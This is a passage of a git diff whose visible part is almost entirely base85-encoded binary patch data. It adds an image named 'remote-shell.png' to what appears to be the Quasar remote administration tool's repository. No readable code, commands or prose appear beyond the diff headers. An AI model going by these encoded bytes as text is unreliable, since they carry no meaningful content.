z7MGkGdW|KyJxscfTCiiCB#Zap5Q~P3dTs?limjtQQ`(ySv2d-v632bbl|A~lO4TU6 z)rr9unODIB?7DD+isb@OH!<_ux|0%-b(MyC;>rkipby~lul2(`rYaR0i;bHdvgLho zYeuD!b{vlvSX)z*hgZTIWezAGv#PdQmnp}cEO+|?Q2VLp#{R}#xkhcAa3Q`}bJDa~ z8;V)D7Gw6FOa-cG96b$9fu@7vpdBTbuf8haV!)}dtus-7dRsoH)@^Q|Yo8ze94v)rH zxnmQG>BJ9?WC&dfKf1)VW$kgDg@WR(IIyGyXlL00bWOFP=-JKdpN$&LhdRj-gT7e9 zb!UCkoo{l)?bVG5pS*$?W)ci^cxq>JLT9}LlN|Wp_(6Nt*b@Ti40ymgS}-XX^rDGH z=Ig0-q(kn!&&HqZ7|?E&LUE>6TBfMk#@IwQP0F0-3iAjiraWmJS9T;F8H<)2%}*qH za-GKnMbHd*jnk(#DV7e4J>HWtSfT{_Q=a|2-^*5gGV5Ivott!IG$w97+Pti?fHf2& zs~n+R>YnbY#U+@M!7Lis^MIbboTkt!TNeH3sBZFftvt@r;nP%i^;nbn9gMh^AWu}A zo{R*KJG+V*$yTB#N~X@Jn266?cr*BzDADbz5n7Y=EN+iGYtzvJ&0IPH70+~k{y;KE g!n0c9^}%JT(1)+P1SEto6icP7pdp_wXMFpA0o{(wf&c&j literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Images/remote-shell.png b/Quasar-1.4.1/Images/remote-shell.png new file mode 100755 index 0000000000000000000000000000000000000000..16dd99f88304f65623574b7fbd174f86512e11e5 GIT binary patch literal 38652 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 